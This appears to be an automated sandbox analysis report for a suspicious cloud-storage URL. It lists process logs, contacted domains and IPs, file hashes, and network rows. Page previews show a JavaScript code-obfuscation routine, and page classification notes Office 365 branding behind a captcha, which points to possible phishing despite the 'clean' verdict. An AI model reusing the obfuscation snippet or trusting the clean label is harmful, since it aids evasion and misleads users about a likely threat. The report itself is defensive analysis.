Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49761 version: TLS 1.2

Source: classification engine

Classification label: clean1.win@22/15@14/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://elr.cloudstoragefiles.com/swkskjd?e=$(email)"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4040 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4120 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4040 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4120 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
elr.cloudstoragefiles.com	172.67.137.231	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	unknown
cloudstoragefiles.com	104.21.62.177	true	false	unknown
www.google.com	142.250.185.164	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://a.nel.cloudflare.com/report/v4?s=FW%2F%2FUMpbauTZFQtwYPQ%2Fw%2B98WRznb8yzLHoG9jPjk0ADl8VhFU9TM1VsnCMQ%2Buttj3wGgGz4p9W36DV4UpQNA56yUNIpt7LKJVSCEs96P5gJQfYaxe5bCo68OK00q9%2F8xj8lFtw2CZM%3D	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cac6acac9d61809/1727617565890/ibITg5EigMB2HKW	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/	false	unknown
https://challenges.cloudflare.com/turnstile/v0/g/ec4b873d446c/api.js	false	unknown
https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29	false	unknown
https://elr.cloudstoragefiles.com/swkskjd?e=$(email)	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1873559873:1727615690:U0M1_36ujtQBM26SoEsl3M9oa3qie42arCdiESuaeCc/8cac6acac9d61809/8a5b730841ae70c	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cac6acac9d61809&lang=auto	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8cac6acac9d61809/1727617565889/515d493718c25daab272f777f117673e39ba48443bab3df9d80c08c07e126b92/slYH2Pw7y5byV0f	false	unknown
https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email)	false	unknown
https://cloudstoragefiles.com/favicon.ico	false	unknown
https://a.nel.cloudflare.com/report/v4?s=8HNFkz%2B3nk%2Fp38JjFB00Sp2zrcvjF5nrnTunp6hETv9ZuXaABYHBqanM0ot0HQVxh%2BIAPsCetIRZA70ueP3PcFfY3ZW%2ByG%2BJclJ6gwrWkTnmwuOzk1v2fHcWF4Y%2FobGJcaA0BQw8bRg%3D	false	unknown
https://cloudstoragefiles.com/dshewn?e=%24%28email%29	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.137.231	elr.cloudstoragefiles.com	United States	13335	CLOUDFLARENETUS	false
104.21.62.177	cloudstoragefiles.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522271
Start date and time:	2024-09-29 15:44:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://elr.cloudstoragefiles.com/swkskjd?e=$(email)
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	CLEAN
Classification:	clean1.win@22/15@14/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 64.233.184.84, 142.250.185.206, 34.104.35.123, 13.85.23.86, 192.229.221.95, 13.95.31.18, 199.232.214.172, 52.165.164.15, 93.184.221.240, 142.250.185.163, 199.232.210.172
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, clientservices.googleapis.com, ctldl.windowsupdate.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, clients.l.google.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://elr.cloudstoragefiles.com/swkskjd?e=$(email)

Input	Output
URL: https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email) Model: jbxai	{ "brand":["Cloudflare"], "contains_trigger_text":true, "trigger_text":"Verify you are human", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":true, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://cloudstoragefiles.com/dshewn?e=%24%28email%29 Model: jbxai	{ "brand":["Office 365"], "contains_trigger_text":true, "trigger_text":"Verifying link.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://cloudstoragefiles.com/dshewn?e=%24%28email%29 Model: jbxai	{ "brand":[], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (63409)
Category:	downloaded
Size (bytes):	219084
Entropy (8bit):	3.2114073667510707
Encrypted:	false
SSDEEP:	768:+omrMqta0tX3t6xHTemrmywjqCVXlgn+HmpjJ+mzdEpeqmO9+Z2LUAhat/:dmrMqt1Mcg
MD5:	DCF20B707EDB50C909290B716AC36A9F
SHA1:	A297A5BF1B5B19F3CCFD47F4BD2490F908039EBD
SHA-256:	9E26079F55EB9A152A164BECE8FC73D1A6B04E96B614642E68E0F299661EFE23
SHA-512:	C2BCF89DF5F0455956F7505307B167670C559F52E3955EA0C9EBE7D0AE76C119909F4F158FB1F00B3DFB56E369002FE16F3EF725E1F238DB83B0B32C8B3078C4
Malicious:	false
Reputation:	low
URL:	https://cloudstoragefiles.com/dshewn?e=%24%28email%29
Preview:	. <!DOCTYPE html>. <html lang="en">. <head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. . </head>. <body>. . . <script>. (function() {. var obfuscateCode = function(code) {. var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';. var newVars = {};. . code = code.replace(/vars+([a-zA-Z_$][0-9a-zA-Z_$])/g, function(match, p1) {. if (!newVars[p1]) {. newVars[p1] = chars[Math.floor(Math.random() chars.length)] + Math.floor(Math.random() * 1000);. }. return 'var ' + newVars[p1];. });. . code = code.replace(/([a-zA-Z_$][0-

Chrome Cache Entry: 50

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4525)
Category:	downloaded
Size (bytes):	7355
Entropy (8bit):	4.574907159383591
Encrypted:	false
SSDEEP:	192:HtOxp8sJyz/lNY6ZF66H1RBex70+g0o7RWhfltF/:UxHwBN/9J27AX2R
MD5:	D11FF2A555383ADE368A441DBC3F86BB
SHA1:	C6265174727D090BD111E025893B413406FE1170
SHA-256:	ACB6325436A20D0AE92875E1076132FBEEBA1B157E0275349A9B97F4C99B503C
SHA-512:	D4ADAD634B8070595B0F0EFE7205949D2A899FFDAEB5DC0438FF8C810CBB3D93C662795CBA5619E76073F1C2B0D931232041A0ECD4D7AD462D8865031DAECB5B
Malicious:	false
Reputation:	low
URL:	https://cloudstoragefiles.com/favicon.ico
Preview:	. <!DOCTYPE html>. <html lang="en">. <head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. . </head>. <body>. . . <script>. (function() {. var obfuscateCode = function(code) {. var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';. var newVars = {};. . code = code.replace(/vars+([a-zA-Z_$][0-9a-zA-Z_$])/g, function(match, p1) {. if (!newVars[p1]) {. newVars[p1] = chars[Math.floor(Math.random() chars.length)] + Math.floor(Math.random() * 1000);. }. return 'var ' + newVars[p1];. });. . code = code.replace(/([a-zA-Z_$][0-9a-zA-Z_$])/g, function(match, p1) {. return newVars[p1] \|\| p1;. });. . code = code.replace(/ifs((.?))s{(.?)}/gs, function(match, p1, p2) {. var dummyVar = 'dummy' + Math.floor(Math.random() 1000);.

Chrome Cache Entry: 51

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 52

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 47, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlM/B57syxl/k4E08up:6v/lhPxy7Tp
MD5:	2E0D198A521B241E6A2BA40277E4AF19
SHA1:	82704785CD6F2FF7D311056C2C6C26375C53D873
SHA-256:	59274407E196F9C3E37FD3835DCBBABD7FC9F1746C918FF890855B635FDAA87E
SHA-512:	B967E0D506E75CF976180B90D5369AC5CEEA293C4A970C98331DCDA179AB10A73B2964BCD5B4DA3EC0842833486A1FDA0F98D6C1C270758C837FA0A7154BE480
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<.../.....0.>.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47261)
Category:	dropped
Size (bytes):	47262
Entropy (8bit):	5.3974731018213795
Encrypted:	false
SSDEEP:	768:+CWIsQ06lHHhw+r9sygguSwodvdq3VE3XYdze9Ddre9eom1CQWpKexThupcubvCR:uQflHBN9sygg1WViPreEM
MD5:	E07E7ED6F75A7D48B3DF3C153EB687EB
SHA1:	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34
SHA-256:	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
SHA-512:	A0BAF8B8DF121DC9563C5C2E7B6EEE00923A1E684A6C57E3F2A4C73E0D6DD59D7E9952DF5E3CFFFB08195C8475B6ED261769AFB5581F4AB0C0A4CC342EC577C9
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);function g(p){Vt(l,o,c,g,f,"next",p)}function f(p){Vt(l,o,c,g,f,"throw",p)}g(void 0)})}}function U(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):U(e,r)}function Me(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Fe(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Me(e,c,a[c])})}return e}function Rr(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47261)
Category:	downloaded
Size (bytes):	47262
Entropy (8bit):	5.3974731018213795
Encrypted:	false
SSDEEP:	768:+CWIsQ06lHHhw+r9sygguSwodvdq3VE3XYdze9Ddre9eom1CQWpKexThupcubvCR:uQflHBN9sygg1WViPreEM
MD5:	E07E7ED6F75A7D48B3DF3C153EB687EB
SHA1:	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34
SHA-256:	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
SHA-512:	A0BAF8B8DF121DC9563C5C2E7B6EEE00923A1E684A6C57E3F2A4C73E0D6DD59D7E9952DF5E3CFFFB08195C8475B6ED261769AFB5581F4AB0C0A4CC342EC577C9
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/ec4b873d446c/api.js
Preview:	"use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);function g(p){Vt(l,o,c,g,f,"next",p)}function f(p){Vt(l,o,c,g,f,"throw",p)}g(void 0)})}}function U(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):U(e,r)}function Me(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Fe(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Me(e,c,a[c])})}return e}function Rr(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 47, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlM/B57syxl/k4E08up:6v/lhPxy7Tp
MD5:	2E0D198A521B241E6A2BA40277E4AF19
SHA1:	82704785CD6F2FF7D311056C2C6C26375C53D873
SHA-256:	59274407E196F9C3E37FD3835DCBBABD7FC9F1746C918FF890855B635FDAA87E
SHA-512:	B967E0D506E75CF976180B90D5369AC5CEEA293C4A970C98331DCDA179AB10A73B2964BCD5B4DA3EC0842833486A1FDA0F98D6C1C270758C837FA0A7154BE480
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cac6acac9d61809/1727617565890/ibITg5EigMB2HKW
Preview:	.PNG........IHDR...<.../.....0.>.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (64067)
Category:	downloaded
Size (bytes):	250408
Entropy (8bit):	3.4471296744886395
Encrypted:	false
SSDEEP:	1536:VCBD7ndOjpSvvSb8dFlSsEpBDlMezuho4uv5xHxBJF4BQKrfYtQ+4LpLXD4ZCYio:r
MD5:	B7AEF181C2AC0AC280D1C11D42D005BC
SHA1:	8FDBB557C9D59658025538E4E975B199B35A2793
SHA-256:	163C89F83D0708F4AC99E2260631753022DD59C617B5117B27D08EB41F450F22
SHA-512:	4BF4ADB31B248CC03744BABD2CF06765C93B22A210D9E5C75AF25F06C47272AF97116EBF27973320B8C7C52D7E1AF32F5112C8E999FDDBDBBE6FF14F73BF1429
Malicious:	false
Reputation:	low
URL:	https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29
Preview:	.<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="UTF-8">.<meta name="viewport" content="width=device-width, initial-scale=1.0">..</head>.<body>. ..<script>.(function() {. var obfuscateCode = function(code) {. var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';. var newVars = {};.. code = code.replace(/vars+([a-zA-Z_$][0-9a-zA-Z_$])/g, function(match, p1) {. if (!newVars[p1]) {. newVars[p1] = chars[Math.floor(Math.random() chars.length)] + Math.floor(Math.random() * 1000);. }. return 'var ' + newVars[p1];. });.. code = code.replace(/([a-zA-Z_$][0-9a-zA-Z_$])/g, function(match, p1) {. return newVars[p1] \|\| p1;. });.. code = code.replace(/ifs((.?))s{(.?)}/gs, function(match, p1, p2) {. var dummyVar = 'dummy' + Math.floor(Math.random() 1000);. return 'if (' + p1 + ') { var ' + dummyVar + ' = false; } else { ' + p2 + '; ' + dum

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 15:45:32.947031975 CEST	49674	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:32.947031975 CEST	49673	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:33.275177956 CEST	49672	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:40.664551020 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:40.664592981 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:40.664643049 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:40.665977001 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:40.665988922 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.492513895 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.492594957 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:41.498399973 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:41.498414040 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.498656034 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.500756979 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:41.500843048 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:41.500847101 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.501013994 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:41.547401905 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.797005892 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.797117949 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:41.797202110 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:41.797821045 CEST	49713	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:41.797863007 CEST	443	49713	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:42.464112043 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.464229107 CEST	443	49716	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.464327097 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.464632988 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.464668989 CEST	443	49717	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.464735985 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.465074062 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.465104103 CEST	443	49716	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.465490103 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.465506077 CEST	443	49717	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.557313919 CEST	49674	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:42.557313919 CEST	49673	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:42.888700962 CEST	49672	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:42.928482056 CEST	443	49716	172.67.137.231	192.168.2.6
